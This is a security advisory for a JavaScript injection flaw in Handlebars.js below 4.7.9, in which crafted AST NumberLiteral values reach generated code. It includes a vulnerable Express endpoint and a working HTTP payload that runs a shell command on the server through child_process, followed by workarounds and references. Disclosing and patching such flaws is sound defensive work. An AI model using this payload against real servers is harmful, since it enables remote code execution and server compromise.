Handlebars.js has JavaScript Injection via AST Type Confusion
Published 27 Mar 2026 · Updated 10 Sept 2026
Affected package
- Affected
- >=4.0.0 <4.7.9
- Fixed in
- 4.7.9
npm install handlebars@4.7.9Details
Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path: // NumberLiteral.value is appended to the generated code without escaping compiledCode += numberLiteralNode.value;
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.
if (typeof templateInput !== 'string') {
throw new TypeError('Template must be a string');
}- Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
Is GHSA-2w6w-674q-4c4q in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected handlebars, and gives you the command that fixes it.
References
- Linkgithub.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-33937
- Linkgithub.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2
- Packagegithub.com/handlebars-lang/handlebars.js
- Linkgithub.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.